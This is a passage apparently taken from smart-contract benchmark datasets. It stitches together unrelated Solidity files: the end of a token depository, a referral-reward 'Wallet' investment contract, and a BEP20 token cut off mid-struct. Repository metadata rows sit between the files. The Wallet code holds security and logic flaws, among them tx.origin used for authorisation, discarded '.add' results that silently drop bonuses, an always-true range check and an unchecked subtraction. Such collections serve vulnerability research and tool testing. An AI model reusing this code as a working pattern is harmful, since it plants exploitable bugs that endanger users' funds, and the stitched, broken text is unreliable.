event Withdraw(address indexed _who, uint _amount);
event Payment(address indexed _buyer, address indexed _seller, uint _amount, address indexed _opinionLeader, bool _dapp);
event Freeze(address indexed _who, bool _freeze);
event Share(address indexed _who, address indexed _dapp, uint _amount);
event SetUnlimited(bool _unlimited, address indexed _dapp);
ERC20Base cryptaurToken = ERC20Base(0x88d50B466BE55222019D71F9E8fAe17f5f45FCA1);
address public cryptaurRecovery;
address public cryptaurRewards;
address public cryptaurReserveFund;
address public backend;
modifier onlyBackend {
require(backend == msg.sender);
_;
}
modifier onlyOwnerOrBackend {
require(owner == msg.sender || backend == msg.sender);
_;
}
modifier notFreezed {
require(!freezedAll && !freezed[msg.sender]);
_;
}
mapping(address => uint) internal balances;
mapping(address => mapping (address => uint256)) public available;
mapping(address => bool) public freezed;
mapping(address => mapping(address => UnlimitedMode)) public unlimitedMode;
bool freezedAll;
function CryptaurDepository() owned() public {}
function sub(uint _a, uint _b) internal pure returns (uint) {
assert(_b <= _a);
return _a - _b;
}
function add(uint _a, uint _b) internal pure returns (uint) {
uint c = _a + _b;
assert(c >= _a);
return c;
}
function balanceOf(address _who) constant public returns (uint) {
return balances[getMasterWallet(_who)];
}
function setUnlimitedMode(bool _unlimited, address _dapp) public {
address masterWallet = getOrAddMasterWallet(msg.sender);
unlimitedMode[masterWallet][_dapp] = _unlimited ? UnlimitedMode.UNLIMITED : UnlimitedMode.LIMITED;
SetUnlimited(_unlimited, _dapp);
}
function transferToToken(address[] _addresses) public onlyOwnerOrBackend {
for (uint index = 0; index < _addresses.length; index++) {
address addr = _addresses[index];
uint amount = balances[addr];
if (amount > 0) {
balances[addr] = 0;
cryptaurToken.transfer(addr, amount);
Withdraw(addr, amount);
}
}
}
function setBackend(address _backend) onlyOwner public {
backend = _backend;
}
function setCryptaurRecovery(address _cryptaurRecovery) onlyOwner public {
cryptaurRecovery = _cryptaurRecovery;
}
function setCryptaurToken(address _cryptaurToken) onlyOwner public {
cryptaurToken = ERC20Base(_cryptaurToken);
}
function setCryptaurRewards(address _cryptaurRewards) onlyOwner public {
cryptaurRewards = _cryptaurRewards;
}
function setCryptaurReserveFund(address _cryptaurReserveFund) onlyOwner public {
cryptaurReserveFund = _cryptaurReserveFund;
}
function changeAddress(address _old, address _new) public {
require(msg.sender == cryptaurRecovery);
applyChangeWalletAddress(_old, _new);
balances[_new] = add(balances[_new], balances[_old]);
balances[_old] = 0;
AddressChanged(_old, _new);
}
function linkToMasterWallet(address _linkedWallet) public {
linkToMasterWalletInternal(msg.sender, _linkedWallet);
}
function unLinkFromMasterWallet(address _linkedWallet) public {
unLinkFromMasterWalletInternal(msg.sender, _linkedWallet);
}
function linkToMasterWallet(address _masterWallet, address _linkedWallet) onlyOwnerOrBackend public {
linkToMasterWalletInternal(_masterWallet, _linkedWallet);
}
function unLinkFromMasterWallet(address _masterWallet, address _linkedWallet) onlyOwnerOrBackend public {
unLinkFromMasterWalletInternal(_masterWallet, _linkedWallet);
}
function setMaxLinkedWalletCount(uint8 _newMaxCount) public onlyOwnerOrBackend {
maxLinkedWalletCount = _newMaxCount;
}
function freeze(address _who, bool _freeze) onlyOwner public {
address masterWallet = getMasterWallet(_who);
if (masterWallet == address(0))
masterWallet = _who;
freezed[masterWallet] = _freeze;
Freeze(masterWallet, _freeze);
}
function freeze(bool _freeze) public onlyOwnerOrBackend {
freezedAll = _freeze;
}
function deposit(address _who, uint _amount, bytes32 _txHash) notFreezed onlyBackend public {
address masterWallet = getOrAddMasterWallet(_who);
require(!freezed[masterWallet]);
balances[masterWallet] = add(balances[masterWallet], _amount);
Deposit(masterWallet, _amount, _txHash);
}
function withdraw(uint _amount) public notFreezed {
address masterWallet = getMasterWallet(msg.sender);
require(balances[masterWallet] >= _amount);
require(!freezed[masterWallet]);
balances[masterWallet] = sub(balances[masterWallet], _amount);
cryptaurToken.transfer(masterWallet, _amount);
Withdraw(masterWallet, _amount);
}
function balanceOf2(address _who, address _dapp) constant public returns (uint) {
return balanceOf2Internal(getMasterWallet(_who), _dapp);
}
function balanceOf2Internal(address _who, address _dapp) constant internal returns (uint) {
uint avail;
if (!freezed[_who]) {
if (unlimitedMode[_who][_dapp] == UnlimitedMode.UNLIMITED) {
avail = balances[_who];
}
else {
avail = available[_who][_dapp];
if (avail > balances[_who])
avail = balances[_who];
}
}
return avail;
}
function pay2(address _seller, uint _amount, address _opinionLeader) public notFreezed {
address dapp = getOrAddMasterWallet(msg.sender);
address seller = getOrAddMasterWallet(_seller);
require(!freezed[dapp] && !freezed[seller]);
payInternal(dapp, seller, _amount, _opinionLeader);
available[seller][dapp] = add(available[seller][dapp], _amount);
}
function pay(address _seller, uint _amount, address _opinionLeader) public notFreezed {
address buyer = getOrAddMasterWallet(msg.sender);
address seller = getOrAddMasterWallet(_seller);
require(!freezed[buyer] && !freezed[seller]);
payInternal(buyer, seller, _amount, _opinionLeader);
}
function payInternal(address _buyer, address _seller, uint _amount, address _opinionLeader) internal {
require(balances[_buyer] >= _amount);
uint fee;
if (cryptaurRewards != 0 && cryptaurReserveFund != 0) {
fee = CryptaurRewards(cryptaurRewards).payment(_buyer, _seller, _amount, _opinionLeader);
}
balances[_buyer] = sub(balances[_buyer], _amount);
balances[_seller] = add(balances[_seller], _amount - fee);
if (fee != 0) {
balances[cryptaurReserveFund] = add(balances[cryptaurReserveFund], fee);
CryputarReserveFund(cryptaurReserveFund).depositNotification(_amount);
}
Payment(_buyer, _seller, _amount, _opinionLeader, false);
}
function payDAPP(address _buyer, uint _amount, address _opinionLeader) public notFreezed {
address buyerMasterWallet = getOrAddMasterWallet(_buyer);
require(balanceOf2Internal(buyerMasterWallet, msg.sender) >= _amount);
require(!freezed[buyerMasterWallet]);
uint fee;
if (cryptaurRewards != 0 && cryptaurReserveFund != 0) {
fee = CryptaurRewards(cryptaurRewards).payment(buyerMasterWallet, msg.sender, _amount, _opinionLeader);
}
balances[buyerMasterWallet] = sub(balances[buyerMasterWallet], _amount);
balances[msg.sender] = add(balances[msg.sender], _amount - fee);
if (unlimitedMode[buyerMasterWallet][msg.sender] == UnlimitedMode.LIMITED)
available[buyerMasterWallet][msg.sender] -= _amount;
if (fee != 0) {
balances[cryptaurReserveFund] += fee;
CryputarReserveFund(cryptaurReserveFund).depositNotification(_amount);
}
Payment(buyerMasterWallet, msg.sender, _amount, _opinionLeader, true);
}
function shareBalance(address _dapp, uint _amount) public notFreezed {
address masterWallet = getMasterWallet(msg.sender);
require(masterWallet != address(0));
require(!freezed[masterWallet]);
available[masterWallet][_dapp] = _amount;
Share(masterWallet, _dapp, _amount);
}
function transferFromFund(address _to, uint _amount) public {
require(msg.sender == owner || msg.sender == cryptaurRewards || msg.sender == backend);
require(cryptaurReserveFund != address(0));
require(balances[cryptaurReserveFund] >= _amount);
address masterWallet = getOrAddMasterWallet(_to);
balances[masterWallet] = add(balances[masterWallet], _amount);
balances[cryptaurReserveFund] = sub(balances[cryptaurReserveFund], _amount);
CryputarReserveFund(cryptaurReserveFund).withdrawNotification(_amount);
}
}
| 162,113 | 13,290 |
2c431ea5d8967fd3b53daa986a5e0bd1ea6014955d031d4f4fbaf587be8147ce
| 18,746 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xe521926eb077bd07025c244fbe637a302faa62b6.sol
| 4,624 | 18,436 |
pragma solidity 0.4.25;
contract Auth {
address internal mainAdmin;
address internal contractAdmin;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor(address _mainAdmin,
address _contractAdmin)
internal
{
mainAdmin = _mainAdmin;
contractAdmin = _contractAdmin;
}
modifier onlyAdmin() {
require(isMainAdmin() || isContractAdmin(), "onlyAdmin");
_;
}
modifier onlyMainAdmin() {
require(isMainAdmin(), "onlyMainAdmin");
_;
}
modifier onlyContractAdmin() {
require(isContractAdmin(), "onlyContractAdmin");
_;
}
function transferOwnership(address _newOwner) onlyContractAdmin internal {
require(_newOwner != address(0x0));
contractAdmin = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
function isMainAdmin() public view returns (bool) {
return msg.sender == mainAdmin;
}
function isContractAdmin() public view returns (bool) {
return msg.sender == contractAdmin;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface ICitizen {
function addF1DepositedToInviter(address _invitee, uint _amount) external;
function addNetworkDepositedToInviter(address _inviter, uint _amount, uint _source, uint _sourceAmount) external;
function checkInvestorsInTheSameReferralTree(address _inviter, address _invitee) external view returns (bool);
function getF1Deposited(address _investor) external view returns (uint);
function getId(address _investor) external view returns (uint);
function getInvestorCount() external view returns (uint);
function getInviter(address _investor) external view returns (address);
function getDirectlyInvitee(address _investor) external view returns (address[]);
function getDirectlyInviteeHaveJoinedPackage(address _investor) external view returns (address[]);
function getNetworkDeposited(address _investor) external view returns (uint);
function getRank(address _investor) external view returns (uint);
function getRankBonus(uint _index) external view returns (uint);
function getUserAddresses(uint _index) external view returns (address);
function getSubscribers(address _investor) external view returns (uint);
function increaseInviterF1HaveJoinedPackage(address _invitee) external;
function isCitizen(address _user) view external returns (bool);
function register(address _user, string _userName, address _inviter) external returns (uint);
function showInvestorInfo(address _investorAddress) external view returns (uint, string memory, address, address[], uint, uint, uint, uint);
}
interface IReserveFund {
function getLockedStatus(address _investor) view external returns (uint8);
function getTransferDifficulty() view external returns (uint);
}
contract Wallet is Auth {
using SafeMath for uint;
struct Balance {
uint totalDeposited;
uint[] deposited;
uint profitableBalance;
uint profitSourceBalance;
uint profitBalance;
uint totalProfited;
uint amountToMineToken;
uint ethWithdrew;
}
IReserveFund private reserveFundContract;
ICitizen private citizen;
uint public ethWithdrew;
uint private profitPaid;
uint private f11RewardCondition = 200000000;
mapping(address => Balance) private userWallets;
modifier onlyReserveFundContract() {
require(msg.sender == address(reserveFundContract), "onlyReserveFundContract");
_;
}
modifier onlyCitizenContract() {
require(msg.sender == address(citizen), "onlyCitizenContract");
_;
}
event ProfitBalanceTransferred(address from, address to, uint amount);
event RankBonusSent(address investor, uint rank, uint amount);
event ProfitSourceBalanceChanged(address investor, int amount, address from, uint8 source);
event ProfitableBalanceChanged(address investor, int amount, address from, uint8 source);
event ProfitBalanceChanged(address from, address to, int amount, uint8 source);
constructor (address _mainAdmin, address _citizen)
Auth(_mainAdmin, msg.sender)
public
{
citizen = ICitizen(_citizen);
}
function getProfitPaid() onlyMainAdmin public view returns (uint) {
return profitPaid;
}
function setSFUContract(address _reserveFundContract) onlyContractAdmin public {
reserveFundContract = IReserveFund(_reserveFundContract);
}
function makeDailyProfit(address[] _userAddresses) onlyContractAdmin public {
require(_userAddresses.length > 0, "Invalid input");
uint investorCount = citizen.getInvestorCount();
uint dailyPercent;
uint dailyProfit;
uint8 lockProfit = 1;
uint id;
address userAddress;
for (uint i = 0; i < _userAddresses.length; i++) {
id = citizen.getId(_userAddresses[i]);
require(investorCount > id, "Invalid userId");
userAddress = _userAddresses[i];
if (reserveFundContract.getLockedStatus(userAddress) != lockProfit) {
Balance storage balance = userWallets[userAddress];
dailyPercent = (balance.totalProfited == 0 || balance.totalProfited < balance.totalDeposited) ? 5 : (balance.totalProfited < 4 * balance.totalDeposited) ? 4 : 3;
dailyProfit = balance.profitableBalance.mul(dailyPercent).div(1000);
balance.profitableBalance = balance.profitableBalance.sub(dailyProfit);
balance.profitBalance = balance.profitBalance.add(dailyProfit);
balance.totalProfited = balance.totalProfited.add(dailyProfit);
profitPaid = profitPaid.add(dailyProfit);
emit ProfitBalanceChanged(address(0x0), userAddress, int(dailyProfit), 0);
}
}
}
function deposit(address _to, uint _deposited, uint8 _source, uint _sourceAmount) onlyReserveFundContract public {
require(_to != address(0x0), "User address can not be empty");
require(_deposited > 0, "Package value must be > 0");
Balance storage balance = userWallets[_to];
bool firstDeposit = balance.deposited.length == 0;
balance.deposited.push(_deposited);
uint profitableIncreaseAmount = _deposited * (firstDeposit ? 2 : 1);
uint profitSourceIncreaseAmount = _deposited * 10;
balance.totalDeposited = balance.totalDeposited.add(_deposited);
balance.profitableBalance = balance.profitableBalance.add(profitableIncreaseAmount);
balance.profitSourceBalance = balance.profitSourceBalance.add(profitSourceIncreaseAmount);
if (_source == 2) {
if (_to == tx.origin) {
balance.profitBalance = balance.profitBalance.sub(_deposited);
} else {
Balance storage senderBalance = userWallets[tx.origin];
senderBalance.profitBalance = senderBalance.profitBalance.sub(_deposited);
}
emit ProfitBalanceChanged(tx.origin, _to, int(_deposited) * - 1, 1);
}
citizen.addF1DepositedToInviter(_to, _deposited);
addRewardToInviters(_to, _deposited, _source, _sourceAmount);
if (firstDeposit) {
citizen.increaseInviterF1HaveJoinedPackage(_to);
}
if (profitableIncreaseAmount > 0) {
emit ProfitableBalanceChanged(_to, int(profitableIncreaseAmount), _to, _source);
emit ProfitSourceBalanceChanged(_to, int(profitSourceIncreaseAmount), _to, _source);
}
}
function bonusForAdminWhenUserBuyPackageViaDollar(uint _amount, address _admin) onlyReserveFundContract public {
Balance storage adminBalance = userWallets[_admin];
adminBalance.profitBalance = adminBalance.profitBalance.add(_amount);
}
function increaseETHWithdrew(uint _amount) onlyReserveFundContract public {
ethWithdrew = ethWithdrew.add(_amount);
}
function mineToken(address _from, uint _amount) onlyReserveFundContract public {
Balance storage userBalance = userWallets[_from];
userBalance.profitBalance = userBalance.profitBalance.sub(_amount);
userBalance.amountToMineToken = userBalance.amountToMineToken.add(_amount);
}
function validateCanMineToken(uint _tokenAmount, address _from) onlyReserveFundContract public view {
Balance storage userBalance = userWallets[_from];
require(userBalance.amountToMineToken.add(_tokenAmount) <= 4 * userBalance.totalDeposited, "You can only mine maximum 4x of your total deposited");
}
function bonusNewRank(address _investorAddress, uint _currentRank, uint _newRank) onlyCitizenContract public {
require(_newRank > _currentRank, "Invalid ranks");
Balance storage balance = userWallets[_investorAddress];
for (uint8 i = uint8(_currentRank) + 1; i <= uint8(_newRank); i++) {
uint rankBonusAmount = citizen.getRankBonus(i);
balance.profitBalance = balance.profitBalance.add(rankBonusAmount);
if (rankBonusAmount > 0) {
emit RankBonusSent(_investorAddress, i, rankBonusAmount);
}
}
}
function getUserWallet(address _investor)
public
view
returns (uint, uint[], uint, uint, uint, uint, uint)
{
if (msg.sender != address(reserveFundContract) && msg.sender != contractAdmin && msg.sender != mainAdmin) {
require(_investor != mainAdmin, "You can not see admin account");
}
Balance storage balance = userWallets[_investor];
return (balance.totalDeposited,
balance.deposited,
balance.profitableBalance,
balance.profitSourceBalance,
balance.profitBalance,
balance.totalProfited,
balance.ethWithdrew);
}
function getInvestorLastDeposited(address _investor) public view returns (uint) {
return userWallets[_investor].deposited.length == 0 ? 0 : userWallets[_investor].deposited[userWallets[_investor].deposited.length - 1];
}
function transferProfitWallet(uint _amount, address _to) public {
require(_amount >= reserveFundContract.getTransferDifficulty(), "Amount must be >= minimumTransferProfitBalance");
Balance storage senderBalance = userWallets[msg.sender];
require(citizen.isCitizen(msg.sender), "Please register first");
require(citizen.isCitizen(_to), "You can only transfer to an exists member");
require(senderBalance.profitBalance >= _amount, "You have not enough balance");
bool inTheSameTree = citizen.checkInvestorsInTheSameReferralTree(msg.sender, _to);
require(inTheSameTree, "This user isn't in your referral tree");
Balance storage receiverBalance = userWallets[_to];
senderBalance.profitBalance = senderBalance.profitBalance.sub(_amount);
receiverBalance.profitBalance = receiverBalance.profitBalance.add(_amount);
emit ProfitBalanceTransferred(msg.sender, _to, _amount);
}
function getProfitBalance(address _investor) public view returns (uint) {
return userWallets[_investor].profitBalance;
}
function addRewardToInviters(address _invitee, uint _amount, uint8 _source, uint _sourceAmount) private {
address inviter;
uint16 referralLevel = 1;
do {
inviter = citizen.getInviter(_invitee);
if (inviter != address(0x0)) {
citizen.addNetworkDepositedToInviter(inviter, _amount, _source, _sourceAmount);
checkAddReward(_invitee, inviter, referralLevel, _source, _amount);
_invitee = inviter;
referralLevel += 1;
}
}
while (inviter != address(0x0));
}
function checkAddReward(address _invitee, address _inviter, uint16 _referralLevel, uint8 _source, uint _amount) private {
if (_referralLevel == 1) {
moveBalanceForInvitingSuccessful(_invitee, _inviter, _referralLevel, _source, _amount);
} else if (_referralLevel > 1 && _referralLevel < 11) {
moveBalanceForInvitingSuccessful(_invitee, _inviter, _referralLevel, _source, _amount);
} else {
bool condition1 = userWallets[_inviter].totalDeposited > f11RewardCondition;
bool condition2 = citizen.getDirectlyInvitee(_inviter).length >= 3;
bool condition3 = false;
uint[] memory networkDeposited = calculateNetworkDeposit(_inviter);
if (networkDeposited.length >= 3) {
uint total = 0;
for (uint i = 2; i < networkDeposited.length - 1; i++) {
total.add(networkDeposited[i]);
}
condition3 = total > 40000000;
}
if (condition1 && condition2 && condition3) {
moveBalanceForInvitingSuccessful(_invitee, _inviter, _referralLevel, _source, _amount);
}
}
}
function moveBalanceForInvitingSuccessful(address _invitee, address _inviter, uint16 _referralLevel, uint8 _source, uint _amount) private {
uint willMoveAmount = 0;
uint f1Deposited = citizen.getF1Deposited(_inviter);
uint directlyInviteeCount = citizen.getDirectlyInviteeHaveJoinedPackage(_inviter).length;
bool condition1 = userWallets[_inviter].deposited.length > 0 ? f1Deposited >= userWallets[_inviter].deposited[0] * 3 : false;
bool condition2 = directlyInviteeCount >= _referralLevel;
Balance storage balance = userWallets[_inviter];
if (_referralLevel == 1) {
willMoveAmount = (_amount * 50) / 100;
uint reward = (_amount * 3) / 100;
balance.profitBalance = balance.profitBalance.add(reward);
emit ProfitBalanceChanged(_invitee, _inviter, int(reward), 1);
} else if (_referralLevel == 2) {
willMoveAmount = (_amount * 20) / 100;
if (condition1 && condition2) {
willMoveAmount.add((_amount * 20) / 100);
}
} else if (_referralLevel == 3) {
willMoveAmount = (_amount * 15) / 100;
if (condition1 && condition2) {
willMoveAmount.add((_amount * 15) / 100);
}
} else if (_referralLevel == 4 || _referralLevel == 5) {
willMoveAmount = (_amount * 10) / 100;
if (condition1 && condition2) {
willMoveAmount.add((_amount * 10) / 100);
}
} else if (_referralLevel >= 6 || _referralLevel <= 10) {
willMoveAmount = (_amount * 5) / 100;
if (condition1 && condition2) {
willMoveAmount.add((_amount * 5) / 100);
}
} else {
willMoveAmount = (_amount * 5) / 100;
}
if (balance.profitSourceBalance > willMoveAmount) {
balance.profitableBalance = balance.profitableBalance.add(willMoveAmount);
balance.profitSourceBalance = balance.profitSourceBalance.sub(willMoveAmount);
if (willMoveAmount > 0) {
emit ProfitableBalanceChanged(_inviter, int(willMoveAmount), _invitee, _source);
emit ProfitSourceBalanceChanged(_inviter, int(willMoveAmount) * - 1, _invitee, _source);
}
} else {
if (balance.profitSourceBalance > 0) {
emit ProfitableBalanceChanged(_inviter, int(balance.profitSourceBalance), _invitee, _source);
emit ProfitSourceBalanceChanged(_inviter, int(balance.profitSourceBalance) * - 1, _invitee, _source);
}
balance.profitableBalance = balance.profitableBalance.add(balance.profitSourceBalance);
balance.profitSourceBalance = 0;
}
}
function calculateNetworkDeposit(address _investor) public view returns (uint[]){
uint directlyInviteeCount = citizen.getDirectlyInviteeHaveJoinedPackage(_investor).length;
uint[] memory deposits = new uint[](directlyInviteeCount);
for (uint i = 0; i < directlyInviteeCount; i++) {
address _f1 = citizen.getDirectlyInviteeHaveJoinedPackage(_investor)[i];
uint totalDeposited = userWallets[_f1].totalDeposited;
uint deposit = calculateNetworkDepositEachBranch(_f1, totalDeposited);
deposits[i] = deposit;
}
deposits = sort_array(deposits);
return deposits;
}
function calculateNetworkDepositEachBranch(address _investor, uint totalDeposited) public view returns (uint) {
uint f1Deposited = citizen.getF1Deposited(_investor);
totalDeposited = totalDeposited.add(f1Deposited);
uint directlyInviteeCount = citizen.getDirectlyInviteeHaveJoinedPackage(_investor).length;
for (uint i = 0; i < directlyInviteeCount; i++) {
address _f1 = citizen.getDirectlyInviteeHaveJoinedPackage(_investor)[i];
calculateNetworkDepositEachBranch(_f1, totalDeposited);
}
return totalDeposited;
}
function sort_array(uint[] arr_) public view returns (uint [])
{
uint l = arr_.length;
uint[] memory arr = new uint[](l);
for (uint i = 0; i < l; i++)
{
arr[i] = arr_[i];
}
for (i = 0; i < l; i++)
{
for (uint j = i + 1; j < l; j++)
{
if (arr[i] < arr[j])
{
uint temp = arr[j];
arr[j] = arr[i];
arr[i] = temp;
}
}
}
return arr;
}
}
| 166,347 | 13,291 |
c1933fda5150edd1053ece120d52a1b72c36ffc3d9abd8c4a66165ca62feba62
| 38,056 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/0e/0e62c34729050eb0d53E28F4072A72A5DFA505bB_PayToken.sol
| 4,853 | 19,070 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// PayToken with Governance.
contract PayToken is BEP20('PayToken', 'PT') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
